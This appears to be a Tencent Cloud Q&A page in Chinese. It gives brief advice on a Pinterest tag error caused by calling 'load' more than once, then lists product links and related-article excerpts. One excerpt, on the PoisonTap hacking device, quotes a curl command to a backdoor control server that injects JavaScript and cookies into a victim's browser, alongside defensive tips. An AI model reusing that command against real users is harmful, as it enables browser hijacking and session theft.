Pinterest标记错误:多次调用'load‘命令

Pinterest是一个社交媒体平台，用户可以在上面分享和发现图片、视频等内容。在使用Pinterest的过程中，有时候会遇到一些问题，比如多次调用'load'命令的错误。

这个错误通常是由于在页面加载过程中多次调用了'load'命令导致的。'load'命令是用来加载Pinterest的插件和相关资源的，如果多次调用会导致冲突和错误。

解决这个问题的方法是确保只调用一次'load'命令。可以在页面加载时使用条件判断来避免重复调用，或者在调用之前先检查是否已经调用过。

另外，如果遇到这个错误，可以尝试清除浏览器缓存或者重新加载页面，有时候这些操作可以解决一些临时的问题。

总结一下，Pinterest标记错误:多次调用'load'命令是由于在页面加载过程中多次调用了'load'命令导致的。解决方法是确保只调用一次'load'命令，并且可以尝试清除浏览器缓存或重新加载页面来解决问题。

腾讯云相关产品和产品介绍链接地址：

腾讯云对象存储（COS）：https://cloud.tencent.com/product/cos
腾讯云云服务器（CVM）：https://cloud.tencent.com/product/cvm
腾讯云云原生容器服务（TKE）：https://cloud.tencent.com/product/tke
腾讯云人工智能（AI）：https://cloud.tencent.com/product/ai
腾讯云物联网（IoT）：https://cloud.tencent.com/product/iot
腾讯云移动开发（移动推送、移动分析、移动测试等）：https://cloud.tencent.com/product/mobile
腾讯云数据库（MySQL、Redis、MongoDB等）：https://cloud.tencent.com/product/db
腾讯云区块链（BCS）：https://cloud.tencent.com/product/bcs
腾讯云音视频处理（VOD）：https://cloud.tencent.com/product/vod
腾讯云网络安全（DDoS防护、Web应用防火墙等）：https://cloud.tencent.com/product/ddos

相关·内容

【错误记录】Android 编译时技术报错 ( 注解处理器 process 方法多次调用问题 )

文章目录一、报错信息二、问题分析三、解决方案注解处理器 AbstractProcessor 中的 process 方法可能会调用多次 , 在生成代码时 , 一定要注意 , 检测到注解节点后再生成代码...; 一、报错信息 ---- Android 编译时技术 , 使用注解处理器生成代码 , 编译时报如下错误 : ( 该错误不会中断编译 ) javax.annotation.processing.FilerException...3 次 , 调用第一次时生成了 com.example.helloworld.HelloWorld 源码 , 但是后面又调用了 2 次 , 后面调用的 2 次直接报上述 " javax.annotation.processing.FilerException...: Attempt to recreate a file for type com.example.helloworld.HelloWorld " 错误 ; 三、解决方案 ---- AbstractProcessor...中的 process 方法调用了 3 次 , 但是只有 1 次 Set<?

7872 0

【错误记录】Android 中调用 Process 命令行执行指令 ( java.lang.IllegalThreadStateException: process hasn‘t exited )

, 如果实时打印出命令执行的命令行信息 , 使用如下代码 : var process: Process = Runtime.getRuntime().exec(cmd)...// 读取命令执行过程数据 var reader = BufferedReader(InputStreamReader(process.inputStream)) while...Log.i(TAG, "$line") }else{ break } } 执行完毕后 , 调用如下代码查询执行结果..., 报上述错误 ; process.exitValue() 二、解决方案 ---- 出现问题原因 : 读取命令执行过程的 BufferedReader 没有关闭 ; 正确用法 : var...} } reader.close() val exitValue = process.exitValue() 使用 BufferedReader 读取命令行执行过程

4292 0

加速Flink布局，Pinterest的自助式故障诊断工具实践

总而言之，该工具将有用信息聚合为一处，执行任务健康检查，清晰标记非健康的任务，分析根本致因，给出可操作步骤，帮助修复问题。下面介绍部分高亮特性。更有效的日志查看对于每个运行的任务，Dr....它收集警告（warning）、错误（error）和信息（info）日志各部分中所有包含堆栈追踪的信息，并检查每个日志内容中是否存在“error”关键字，为在故障排查指南中逐步解决问题提供线索。...该区域中标记了配置后的最大 JM/TM 内存，以及 90% 使用阀值，为用户快速定位接近出现 OOM 问题的具体容器。...有效配置 Flink 任务可在不同层级上配置，例如执行层的 in-code 配置，客户层的任务属性文件和命令行参数，以及系统层的 flink-conf.yaml 文件。...此外，KafkaLog4jAppender 还提供对我们很重要的日志的过滤功能，即堆栈跟踪（stacktrace）所给出的警告、错误和信息日志。

7922 0

Pinterest 如何通过机器学习为健康的评论生态系统提供动力

随着 Pinterest 不断从一个只保存想法的地方发展为一个发现激发行动的内容的平台，直接发布到 Pinterest 的创作者的原生内容有所增加。...如果注释没有错误且可理解，则注释是可读的。相关评论是特定的并且与 Pin 图的内容相关。细微的评论是问题、技巧、建议、请求，或描述评论者的个人经历或与 Pin 图的互动。...训练数据我们仅使用标记的英语评论训练模型。我们采用混合方法来限制收集标记数据的成本。不安全、垃圾邮件和非垃圾邮件标记的评论是通过对社区报告评论的人工验证获得的。...安全标记的评论是通过对 Pinterest 上的所有评论进行随机抽样生成的，因为不安全评论的数量非常少。正面和负面情绪类别的标记数据是通过人工标记随机采样的评论获得的。...我们在 Pinterest 的在线模型服务平台 (SMS) 中托管多任务评论模型。为了为 DistilBERT 准备输入，我们在 Python Flask 中托管了来自拥抱面孔作为服务的相应标记器。

5362 0

HTTP3落地Pinterest

原文 https://medium.com/pinterest-engineering/pinterest-is-now-on-http-3-608fb5581094 文 / Liang Ma, Scott...Beardsley, Haowei Yuan 译 / 核子可乐技术审校 / Liang Ma 图一：Pinterest的HTTP/3架构现在，HTTP/3已经在Pinterest落地。...这些优势与Pinterest用例显然高度契合——实现更快的连接建立速度（首请求首字节时间）、更好的拥塞控制（我们掌握着大体量媒体）、保证多路复用时不存在TCP队头阻塞（同时多次下载），并可在Pinterest...这样，当用户在Pinterest上挥洒灵感之时，他们将获得更快、更可靠的使用体验。在Pinterest落地HTTP/3 策略安全和指标永远第一。...在A/B测试通过之后，我们开始在生产中启用HTTP/3（各CDN逐一启用），之后客户端应用程序使用功能标记通过兼容的网络客户端来控制HTTP/3。这样不仅安全性更高，也能对指标进行收集和比较。

7093 0

Pinterest 搜索系统实时化的挑战和建设实践

作者｜ Pinterest Engineering 译者｜王强策划｜蔡芳芳 Pinterest 的内部搜索引擎 Manas 是一个通用的信息检索平台。...使用这种方法，只有在调用索引提交时才可以搜索新编写的文档。结果，你需要在索引延迟和吞吐量之间进行权衡。不幸的是，我们无法利用这种方法将索引延迟减少到几秒钟级别。...当一个实时段被密封时将自动触发一次刷新，并且还可以使用调试命令手动触发刷新。索引刷新是一种有益的运算符，可确保数据持久性，这样我们就无需在重新启动期间从头开始重建内存中的段。...由于删除运算符只是将文档标记为已删除，而不是物理删除它们，因此压缩线程还会保留这些已删除 / 过期的文档。在每个刷新和压缩运算符之后，将生成一个由所有静态段组成的新索引清单。...用于数据结构的一次写入和多次读取并发模型并不意味着我们不能使用多个线程进行写入。我们计划使用 term 分片策略来支持具有多个线程的写入。

7021 0

分享 1个原生 JS 瀑布流案例

瀑布流布局中的图片有一个核心特点 —— 等宽不定等高，瀑布流布局在国内网网站都有一定规模的使用，比如pinterest、花瓣网等等。那么接下来就基于这个特点开始瀑布流探索之旅。...= new Waterfall({options}) waterfall.on("load", function () { // 此处进行 ajax 同步/异步添加图片 }) 观察调用方式，不难联想到使用发布...小优化为了防止 scroll 事件触发多次加载图片，可以考虑用函数防抖与节流实现。...并根据其布尔值决定是否加载，代码如下： let isLoading = false const scroll = function () { if (isLoading) return false // 避免一次触发事件多次...waterfall.done, 从而告知当前图片已经加载完毕，代码如下: const waterfall = new Waterfall({}) waterfall.on("load", function

1.9K2 0

Puppet使用ENC报’Could not load external node results for’

Puppet Server采用双主结构，Web ui使用Foreman，为了确定这个报错是出现在那台服务器上, 通过对源代码的log增加主机标记最终定位到了这个错误只是出现在一台服务器上......，出现的很偶然，但所有的错误标记中，都是它.......父方法的find会调用enc脚本获取返回值，如果失败或调用不成功则为Nil.....，为此我很确信我的web，它如果能有一次重试的机会，那么下一次一定能正常获得返回值，然后我就给了它很多次的机会。。。 ...错误，则读取cache，但是这里的异常不包括...

4581 0

原生 JS 实现一个瀑布流插件

瀑布流布局中的图片有一个核心特点 —— 等宽不定等高，瀑布流布局在国内外网站都有一定规模的使用，比如pinterest、花瓣网等等。那么接下来就基于这个特点开始瀑布流探索之旅。...= new Waterfall({options}) waterfall.on("load", function () { // 此处进行 ajax 同步/异步添加图片 }) 观察调用方式，不难联想到使用发布...小优化为了防止 scroll 事件触发多次加载图片，可以考虑用函数防抖与节流实现。...并根据其布尔值决定是否加载，代码如下： let isLoading = false const scroll = function () { if (isLoading) return false // 避免一次触发事件多次...waterfall.done, 从而告知当前图片已经加载完毕，代码如下: const waterfall = new Waterfall({}) waterfall.on("load", function

2.4K4 0

30秒攻破任意密码保护的PC：深入了解5美元黑客神器PoisonTap

），攻击者可以将nfl.com上的iframe加载到pinterest.com后门中（http://pinterest.com/PoisonTap）同样，域上的任何“X-Frame-Options”、...当受害者访问基于HTTP或CDN Javascript缓存中毒的网站时，后门就被触发 PosionTap安全防范服务器安全 1 仅使用HTTPS，至少对认证和认证内容使用HTTPS 2确保启用Cookie安全标记...，防止HTTPS Cookie信息泄露 3 当调用远程Javascript脚本资源时，请使用子资源完整性(SRI)标记属性 4 使用HSTS防止HTTPS降级攻击桌面客户端安全 1 有必要可以用粘合剂封住...该服务器也用来发送命令，如： # pop alert to victimcurl 'http://samy.pl:1337/exec?...document.cookie="key=value"'# to force victim to load a url via ajax (note, jQuery is stored inside the

1.9K10 1

Pinterest 的 ZooKeeper 经验

Pinterest 在官方博客上发布了自己对于 ZooKeeper 的运用经验，下面一起看下 Pinterest 是如何应用 ZooKeeper 及遇到的问题和解决方式应用场景 1服务发现 Pinterest...由一些列 server 组成，这些 server 会调用后端的各种 service，而每个 service 为了负载和容错，会由多个独立的服务器组成，server 需要实时掌握可用的 service...服务器列表每个 service 服务器都会到 ZooKeeper 下注册一个临时节点，调用者通过这些节点就可以知道可用的 service 服务器列表当某个 service 服务器出现故障时，ZooKeeper...中的对应节点就会被删除，service 的调用者也会得到通知，同样的，有新的 service 服务器注册到 ZooKeeper 后，调用者也会得到通知这样，调用者总是可以快速得到可用的 service...进行注册的事件，这个突发的峰值便会拖慢 ZooKeeper 3网络分区极少数的情况下，会出现网络问题，导致 ZooKeeper 集群被分割在了不同的网络区域，使 ZooKeeper 出现问题 4人为错误

9648 0

独家 | Pinterest如何仅用6名工程师搞定1100万用户

最近我偶然发现了一个很棒的YouTube视频，“Pinterest如何仅用6名工程师扩展到1100万用户”，以及另一篇文章，“Pinterest的扩展历程 —— 从0到每月数十亿页面浏览量，仅用了两年”...Pinterest演进路线图 Pinterest的扩展历程可以分为四个不同的阶段：自我发现阶段：这一阶段以快速原型制作和不断演变的产品需求为特征，由一个小的项目团队管理。...Pinterest没有增加技术栈，而是将资金投入到运作良好的领域。回报阶段：有了正确的架构，Pinterest通过水平扩展继续其增长轨迹，验证了其选择的正确性。...为什么Pinterest选择了分片 Pinterest选择分片而没有选择集群，因为分片相对简单，从在“做实验阶段”采用集群的负面经验来看，集群管理面临以下问题：集群管理问题：集群管理算法中的错误导致多次中断...数据所有权混淆：出现了次要节点错误地承担主要角色的情况，导致数据丢失。“在一个案例中，引入一个新的次要节点。大约有80%的概率，次要节点说它是主节点，主节点变成了次要节点，为此丢失了20%的数据。

1141 0

Lua编译执行和错误

在发生错误的情况中，函数loadfile会返回nil及错误信息，以允许我们按自定义的方式来处理错误。此外，如果需要多次运行一个文件，那么只需要调用一次loadfile函数后再多次调用它的返回结果即可。...由于只编译一次文件，因此这种方式的开销要比多次调用函数dofile小得多（编译在某种程度上相比其他操作开销更大）。...如果要编写一个用后即弃的dostring函数（例如加载并运行一行代码），那么我们可以直接调用函数load的返回值： load(s)() 不过，如果代码中有语法错误，函数load就会返回你来和形如”attempt...之后使用参数i调用函数f，参数i就是可变长参数表达式的值(…)。函数load和函数loadfile从来不引发错误。...当独立解释器中发生错误时，主循环会打印错误信息，然后继续显示提示符，并等待执行指令的命令。不过，如果要在Lua代码中处理错误，那么就应该使用函数pcall来封装代码。

1.8K3 0

Milvus 实战｜利用 Milvus 搭建基于图的推荐系统

| 主要技术 1 基于图的卷积神经网络 PinSage PinSage[2] 是由斯坦福和 Pinterest 公司合作提出了第一个工业级别（数十亿节点和数百亿边）基于 GCN（Graph Convolutional...用户在 Pinterest 网站中将自己感兴趣的内容（pins）与相关的板块（broads）进行标记，其中包含了 20 亿 pins，10 亿 boards 以及 180 亿边（若 pin 在 broads...# Load data to Milvus and MySQL status, ids = milvus.insert(milvus_table, h_item) load_movies_to_mysql...Convolutional Neural Networks for Web-Scale Recommender Systems, arxiv: 1806.01973 https://medium.com/pinterest-engineering

1.8K2 0

一文读懂JVM虚拟机

代码的执行，都是由main线程执行，随着程序的调用，线程中的程序计数器，会记录每个程序执行到了哪一步，同时伴随着方法调用，通过虚拟机栈压栈和弹栈的动作往下执行，当程序执行完毕后就涉及到对象的回收和销毁过程...当一个对象多次回收失败，会被标记转移到老年代，重新进行回收动作。当然，如果一个对象是大对象，它的创建和销毁都是在老年代发生。...，进行对象移动，在新的空间中删除边际回收的对象，同事整理合并4、相关知识4.1 内存屏障汇编指令LoadLoad屏障：对于这样的语句Load1; LoadLoad; Load2，在Load2及后续读取操作要读取的数据被访问前...，保证Load1要读取的数据被读取完毕。...代码问题的可能性极大java.lang.OutOfMemoryError: **GC over head limit exceeded** 系统处于高频的GC状态，而且回收的效果依然不佳的情况，就会开始报这个错误

1.1K23 1

3.数据湖deltalake之时间旅行及版本管理

3).修正数据中的错误信息。 4).为一组查询提供快照隔离，以快速变更表。.../events") 由于delta lake的表是存在更新的情况，所以多次读取数据生成的dataframe之间会有差异，因为两次读取数据可能是一次是数据更新前，另一次是数据更新后。...使用时间旅行你就可以在多次调用之间修复数据。...这就意味着可以指定30天之前的版本来读取数据，但是有些注意事项： 3.1 没对delta 表调用VACUUM函数。...注意：VACUUM命令是不会删除日志文件的，日志文件是在checkpoint之后自动删除的。为了读取之前版本的数据，必须要保留该版本的日志文件和数据文件。

1K2 0

linux后台运行的几种方式(小结)

如果没有文件能创建或打开以用于追加，那么 command 参数指定的命令不可调用。如果标准错误是一个终端，那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。...会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话，并共享会话的所有特性（比如可以看到完全相同的输出）。它同时提供了窗口访问权限的机制，可以对窗口进行密码保护。...Ctrl + a w -> 显示所有窗口列表 Ctrl + a t -> time，显示当前时间，和系统的 load Ctrl + a k -> kill window，强行关闭当前的 window...，将光标移至左下角 0 移到行首 $ 行末 w forward one word，以字为单位往前移 b backward one word，以字为单位往后移 Space 第一次按为标记区起点...参数可以设置多次。 -c directory #定制运行命令前的目录。 -p pidfile #定制自己的pid存放位置。 -l lockfile #单实例启动时将会检查这个文件。

3.2K3 1

知名图片分享平台 Pinterest 如何有把握地扩展 Kubernetes

作者：Anson Qian，译者：冯旭松，原文：https://stackshare.io/pinterest/scaling-kubernetes-with-assurance-at-pinterest...kube-apiserver 组件开始出现延迟峰值和错误率增加，然后由于资源的限制引发了 OOMKilled。...因此，它减少了构建不必要的多余的请求调用的机会。限流 Kubernetes API 客户端通常由不同的客户端共享，API 调用也通常是由不同的线程发起。...弹性恢复能力增强加固 kubelet Kubernetes 控制平面进入级联故障的一个关键原因是，传统的反射器实现在处理错误时进行了无限次的重试。...最后，我们调整警报统计和阈值来减少噪音和错误警报。在高层面上，我们通过查看 QPS 和并发请求、错误率和请求延迟来监控 kube-apiserver 的负载。

6003 0

Envoy架构概览(9):访问日志,MongoDB,DynamoDB,Redis

详细的MongoDB查询/操作统计信息，包括路由集群的计时和分散/多次计数。查询记录。每个通过$ comment查询参数的callsite统计信息。故障注入。...详细的命令统计。主动和被动健康检查。计划的未来增强：额外的时间统计。断路。请求折叠分散的命令。复制。内置重试。跟踪。哈希标记。...，我们把这个错误作为响应传递给这个命令。...Envoy将错误数据类型的Redis响应视为正常响应，并将其传递给调用者。特使也可以产生自己的错误来回应客户。...Error Meaning no upstream host The ring hash load balancer did not have a healthy host available at the

2.3K3 0

有3亿用户的美版“小红书”Pinterest如何平稳扩展K8s？

kube-apiserver 率先开始出现延迟峰值以及错误率的增长，随后便因资源限制而被 OOM 杀进程（Out of Memory Kill，内存不足时杀进程）。...在 Pinterest 的 Kubernetes 平台上，不同命名空间的负载属于不同的团队和不同的项目，而平台用户则是通过 Pinterest 的 CRD 配置他们的负载。...5恢复力硬化 Kubelet Kubernetes 的控制平台会进入级联故障的一个关键原因是，传统的反射器（Reflector）的实现在处理错误时会有无限制次数的重试。...最后，我们调整了警报统计和阈值大小，以减少噪音和错误警报。在高层次上，我们通过查看 QPS 和并发请求、错误率，以及请求延迟来监控 kube-apiserver 的负载。...原文链接： https://medium.com/pinterest-engineering/scaling-kubernetes-with-assurance-at-pinterest-a23f821168da

8562 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云